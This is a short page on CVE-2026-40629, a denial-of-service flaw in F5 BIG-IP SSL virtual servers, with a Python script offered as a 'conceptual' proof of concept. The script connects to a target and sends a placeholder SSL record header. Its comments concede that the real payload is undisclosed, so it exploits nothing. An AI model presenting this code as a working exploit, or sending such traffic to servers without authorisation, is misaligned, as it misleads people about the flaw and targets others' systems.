CVE-2026-40629 F5 BIG-IP SSL虚拟服务器拒绝服务漏洞

# PoC for CVE-2026-40629 (Conceptual) # Description: Sends undisclosed traffic to trigger DoS on F5 SSL Virtual Server. import socket def trigger_dos(target_ip, target_port): try: # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # NOTE: The specific payload causing the issue is undisclosed. # This is a placeholder representing the malicious traffic. # In a real scenario, specific SSL handshake anomalies or packet fuzzing would be used. malicious_payload = b"\x16\x03\x01\x00\x00" # Placeholder SSL record header s.send(malicious_payload) print(f"[+] Payload sent to {target_ip}:{target_port}") s.close() except Exception as e: print(f"[-] Error: {e}") # Usage # trigger_dos("192.168.1.1", 443)